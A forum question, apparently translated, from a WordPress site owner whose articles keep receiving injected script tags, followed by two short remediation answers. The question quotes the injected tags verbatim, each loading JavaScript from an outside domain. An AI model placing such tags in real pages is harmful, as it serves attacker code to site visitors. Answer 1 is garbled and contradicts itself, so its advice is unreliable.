The site was hacked, each article has a script. How to fix?

Question

Burglary protection

Hello!
Faced the problem of hacking the site.
The site was developed on wordpress.
Description of the problem:
In each article, it is in the places of links that there are scripts of various kinds, such as:<a href="">Ссылка</a>

<script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script>
<script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script>
<script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script>
<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>

and

<script type='text/javascript' src='https://s1.trymynewspirit.com/pr.js'></script>

I cleared all the files, pages and all the articles in which these scripts were located, but after I publish a new article, it randomly appears again in some articles and pages.
I thought that when copying the material something clings, but no. All is clear.
I post the article in the following order:
I copy from the donor site > To the text editor > Script search > Placement on the site
Please, tell me what to do?
What is the problem and where to look for the root of the virus?

Answer 1

Do not install more plugins, there are vulnerabilities in them, first remove all plugins, and then restore the project without removing the plugins, and trying to restore the site means that it will be hacked again, in the same way.

Answer 2

Check the site, for example, with the utility https://revisium.com/ai/
Change passwords
Update the core, modules if it is cms